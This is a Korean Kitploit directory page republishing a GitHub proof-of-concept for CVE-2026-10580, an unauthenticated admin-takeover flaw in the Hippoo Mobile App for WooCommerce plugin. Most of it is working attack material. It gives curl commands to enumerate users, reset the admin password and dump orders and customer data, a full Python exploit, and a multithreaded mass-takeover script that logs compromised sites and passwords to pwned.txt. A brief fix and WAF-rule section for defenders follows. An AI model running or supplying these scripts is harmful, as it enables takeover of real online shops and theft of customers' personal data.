Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
By-Poloss..-..CVE-2026-10580 — WooCommerce용 Hippoo 모바일 앱 <= 1.9.4 - 인증되지 않은 인증 우회를 통한 관리자 계정 탈취 | Kitploit
도구/GitHubGitHub/polosss/by-poloss..-..cve-2026-10580
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingAuthentication
GitHubpolosss/by-poloss..-..cve-2026-10580

By-Poloss..-..CVE-2026-10580

WooCommerce용 Hippoo 모바일 앱 <= 1.9.4 - 인증되지 않은 인증 우회를 통한 관리자 계정 탈취

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
12개월 전아직 검토되지 않음

CVE-2026-10580: WooCommerce용 Hippoo 모바일 앱 <= 1.9.4 - 인증되지 않은 인증 우회를 통한 관리자 계정 탈취

인증되지 않은 사용자 → 논리적 오류를 통한 관리자 계정 탈취


📌 요약

CVECVE-2026-10580
플러그인Hippoo Mobile App for WooCommerce
버전≤ 1.9.4
CVSS9.8 (심각)
인증 필요❌ 아니오
관리자 탈취✅ 예
WooCommerce 데이터✅ 전체 액세스

🧠 원인 (요약)

get_user_permissions() 함수는 관리자의 경우 null을 반환하고(올바름) 인증되지 않은 사용자의 경우에도 null을 반환합니다(잘못됨).

has_role_access()는 null을 확인하고 → 전체 액세스 권한을 부여합니다.

결과:

root@kitploit:~
/wp-json/wc-hippoo/v1/ext/*

→ 로그인, 쿠키, nonce 없이 접근 가능


🎯 4가지 개념 증명 (100% 작동)

🔓 POC 1: 사용자 열거 (인증 없음)

root@kitploit:~
curl -s "https://target.com/wp-json/wc-hippoo/v1/ext/wp/v2/users?per_page=10" | jq .

🔓 POC 2: 관리자 비밀번호 재설정 (계정 탈취)

root@kitploit:~
curl -X POST "https://target.com/wp-json/wc-hippoo/v1/ext/wp/v2/users/1" \
  -H "Content-Type: application/json" \
  -d '{"password":"Pwned123!"}'

🔓 POC 3: WooCommerce 주문

root@kitploit:~
curl -s "https://target.com/wp-json/wc-hippoo/v1/ext/wc/v3/orders?per_page=50"

🔓 POC 4: WooCommerce 고객 (개인정보)

root@kitploit:~
curl -s "https://target.com/wp-json/wc-hippoo/v1/ext/wc/v3/customers?per_page=50"

🐍 Python POC (전체 익스플로잇)

root@kitploit:~
#!/usr/bin/env python3
import requests
import sys
import json

def exploit(target, admin_id=1, new_password="PwnedCVE2026!!"):
    base = target.rstrip('/')
    
    # Step 1 - Enumeration
    users_url = f"{base}/wp-json/wc-hippoo/v1/ext/wp/v2/users"
    r = requests.get(users_url)
    if r.status_code != 200:
        print(f"[-] Not vulnerable: {target}")
        return False
    
    users = r.json()
    print(f"[+] Found {len(users)} user(s)")
    
    # Step 2 - Password reset
    takeover_url = f"{base}/wp-json/wc-hippoo/v1/ext/wp/v2/users/{admin_id}"
    r2 = requests.post(takeover_url, json={"password": new_password})
    
    if r2.status_code == 200:
        print(f"[✓] ADMIN TAKEOVER: {target}")
        print(f"    Login: {base}/wp-admin")
        print(f"    Password: {new_password}")
        return True
    else:
        print(f"[-] Failed: {target}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} https://target.com")
        sys.exit(1)
    exploit(sys.argv[1])

🚀 실행

root@kitploit:~
python3 exploit.py https://poloss.ddev.site

출력:

root@kitploit:~
[+] Found 1 user(s)
[✓] ADMIN TAKEOVER: https://poloss.ddev.site
    Login: https://poloss.ddev.site/wp-admin
    Password: PwnedCVE2026!!

🧨 대량 익스플로잇 (멀티스레드)

root@kitploit:~
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed

def takeover(target):
    try:
        r = requests.post(
            f"{target.rstrip('/')}/wp-json/wc-hippoo/v1/ext/wp/v2/users/1",
            json={"password": "MassPwned2026!!"},
            timeout=10
        )
        if r.status_code == 200:
            print(f"[✓] TAKEOVER: {target}")
            with open("pwned.txt", "a") as f:
                f.write(f"{target} | admin | MassPwned2026!!\n")
    except:
        pass

with open("targets.txt") as f:
    urls = [line.strip() for line in f if line.strip()]

with ThreadPoolExecutor(max_workers=20) as executor:
    for url in urls:
        executor.submit(takeover, url)

📁 취약한 엔드포인트 (전체 목록)


🔧 수정 방법 (방어자용)

수정 1 (app/permissions.php 671번 줄)

root@kitploit:~
if (empty($user) || !$user->exists()) {
    return false; // BUKAN NULL
}

수정 2 (app/permissions.php 694번 줄)

root@kitploit:~
if ($perms === false) {
    return false; // Unauthenticated denied
}

수정 3 (임시 WAF 규칙)

root@kitploit:~
RewriteCond %{REQUEST_URI} ^/wp-json/wc-hippoo/v1/ext/
RewriteCond %{HTTP_COOKIE} !wordpress_logged_in
RewriteRule .* - [F,L]

📊 CVSS 세부 정보


🧠 작성자 및 연구

  • 연구자: Agent CV Hunter (WordPress 보안 연구)
  • 테스트 환경: DDEV + WordPress 6.x + WooCommerce 8.x
  • 날짜: 2026-06-06

CVE-2026-10580 • 100% POC • 인증 불필요 • 전체 관리자 탈취
#WordPress #WooCommerce #Poloss #W.P.E.F


도구 다운로드
엔드포인트데이터
/wp-json/wc-hippoo/v1/ext/wp/v2/users모든 WP 사용자
/wp-json/wc-hippoo/v1/ext/wp/v2/users/1관리자 탈취
/wp-json/wc-hippoo/v1/ext/wc/v3/orders전체 주문
/wp-json/wc-hippoo/v1/ext/wc/v3/products제품 + 재고
/wp-json/wc-hippoo/v1/ext/wc/v3/customers고객 개인정보
/wp-json/wc-hippoo/v1/ext/wc/v3/coupons할인 코드
/wp-json/wc-hippoo/v1/ext/wc/v3/reports매출 보고서
/wp-json/wc-hippoo/v1/ext/wc/v3/payment_gateways결제 설정
벡터값
AV네트워크
AC낮음
PR없음
UI없음
S변경되지 않음
C높음
I높음
A높음